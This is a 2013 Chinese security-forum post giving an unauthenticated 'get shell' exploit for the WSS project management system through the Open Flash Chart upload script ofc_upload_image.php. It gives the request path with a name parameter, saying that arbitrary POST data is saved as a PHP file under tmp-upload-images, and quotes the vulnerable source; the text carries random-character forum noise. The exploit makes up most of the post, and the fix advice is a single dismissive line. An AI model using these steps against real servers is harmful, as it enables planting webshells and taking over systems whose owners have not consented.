找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2076|回复: 0
打印 上一主题 下一主题

WSS项目管理系统Post get shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:38:58 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
POST 数据漏洞文件执行任意后缀文件保存+ s1 N6 W% |3 N  D
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
- d  M/ s3 ^  T4 B% r' y) m6 k/ L9 T
利用:
& J7 b+ n* }0 [; U$ r  s  h' o/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
6 R/ C  I* U3 h9 ^- V+ _( z
: S1 v3 o% ~) [4 b- oPost任意数据
8 a- O  V, [; t0 o保存位置http://localhost/chart/tmp-upload-images/hfy.php
; r) ^9 F- W( T+ k$ a( |8 H% T. ^, T
" ]0 q$ x4 W4 M: x  [$ I
最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~
* U6 I4 n# ~, E9 J. t  _4 c* C4 M/ z
# H. L, Z; S* v0 v' N* a<?php
7 g% i" {2 N: r2 M8 y1 d3 l. U( g9 y. f1 h. L5 b9 m
//8 l6 w4 H8 m6 j( w
// In Open Flash Chart -> save_image debug mode, you9 ^4 l( O7 K+ f6 ^) o5 G  ~
// will see the 'echo' text in a new window.  t, J( H% v1 W4 X& I: p+ q  G. A
//9 h* G2 I2 q+ ?( H0 t2 J7 ]
  I2 e, j- G4 v* a5 K: X- r6 z
/*, B$ v" e) I" C% x
& e3 M  q$ H5 Q" h
print_r( $_GET );  r* i" i: l9 B2 |! u# W
print_r( $_POST );1 Z. m- ~9 N3 r( \. P1 h
print_r( $_FILES );
* M8 t2 o' O* x8 X: M% q
0 U9 f$ [5 w  D+ o8 b8 \0 Aprint_r( $GLOBALS );
) W, V, u6 a' y( B* U) K# aprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
  \- Q' J5 {( H5 G  U( X" q  o6 t: C
*/1 E  @0 \0 {. {: d5 ^
// default path for the image to be stored //5 I) _/ ?8 j9 i7 Y
$default_path = '../tmp-upload-images/';
% z7 D1 `+ S# G% o6 l. O9 u# ^! k' h4 q  j) n' f& T
if (!file_exists($default_path)) mkdir($default_path, 0777, true);# G$ Z2 v) ~2 c8 ~+ U  U& _

6 K8 |5 u' M& |! Q* y// full path to the saved image including filename //: d2 ^4 t$ Z4 r/ |; @# e8 \* a" x
$destination = $default_path . basename( $_GET[ 'name' ] ); 3 o! u6 b* O" L
- g1 L9 e9 d3 ]. p
echo 'Saving your image to: '. $destination;3 V0 U! {$ \/ U/ y6 N
// print_r( $_POST );
8 e3 B- P# \+ k* Y// print_r( $_SERVER );
* |. d/ p  B8 l5 y// echo $HTTP_RAW_POST_DATA;, a* W* [" Q5 R5 U

2 r- {5 R3 E5 C' X) i//. F! H8 ~1 F% E' t0 `7 T  ]
// POST data is usually string data, but we are passing a RAW .png8 ^; Q% N( X) l" X! G
// so PHP is a bit confused and $_POST is empty. But it has saved& R4 w! A0 X+ [* z1 O. q8 F
// the raw bits into $HTTP_RAW_POST_DATA1 s/ X$ B% H* s% ]# @, F
//, M8 J8 W- R6 m: m
/ q1 m8 q6 z$ W# C% U3 L7 ?+ u6 S
$jfh = fopen($destination, 'w') or die("can't open file");! v( g# _5 c" h. b, Q5 D2 J% X
fwrite($jfh, $HTTP_RAW_POST_DATA);/ x' e1 w, w" L% H/ U
fclose($jfh);
; z  j' ], K6 M7 f* l, d5 o) k% O8 F/ y
//# [" `/ w% v1 \2 f' K
// LOOK:
8 M: W5 I2 D3 j//7 K# b# p0 w- k' c7 P  H4 ]- x$ }
exit();! ^; S/ Z+ G  H& b
//
1 W/ h$ ~0 M, ^// PHP5:9 p! q/ q# ]& B  l" s" N
//+ x# ~% V* F: p* W% F5 m' ~3 E
4 `% p- O% V! {1 [+ V! w& M
- b( {7 V, _6 Z5 S. m: U. |
// default path for the image to be stored //% k5 C9 v# ~3 c
$default_path = 'tmp-upload-images/';
$ d- g/ t/ M, o( I
1 T5 S) d" V$ Mif (!file_exists($default_path)) mkdir($default_path, 0777, true);
8 v8 H' Z  g& [" d
1 n$ L) U2 f2 X# ?4 P* ^// full path to the saved image including filename //
6 v& r* ?4 S4 h; K& m: t* v) X$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
/ Z: @$ e1 e) W. A$ B5 @; `$ r5 X# H% w: X2 l& h
// move the image into the specified directory //
: }: s9 ^9 X0 D( Xif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {+ B" T+ f6 c' t; N- D$ H
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
- z* Y3 f  r8 w} else {' ]: u2 N3 Y! n! _4 E3 i* {
    echo "FILE UPLOAD FAILED";
0 m3 o( O3 o. P' y  \}, B4 D, d, \' d: |6 l; A8 }
6 @6 j0 k) E9 {3 B0 O; j5 R
1 @. t5 P9 |$ ^& h7 C! U. R& z
?>+ A% _5 r! C/ h7 l, J

- v) L; V( ?# c4 a' l! f/ z
. ~. b* h0 T8 _/ z; o$ |* r7 f5 z1 q! n
+ h& x; y- z0 Z6 {; U) y& Y1 I
- n* }. r0 b) U  N" ^1 r7 I

' f6 P6 x. h+ R修复方案: ) s) f! Y3 d+ y1 C  q
这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞 6 a1 ]) T2 U- ^9 b
9 |) c% `* m. ]
& m, A: Q! A- A) r2 l

8 J) S4 x: O9 d# L- O- [" q
- _+ h7 h+ G" h1 \4 N; W- q% V

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表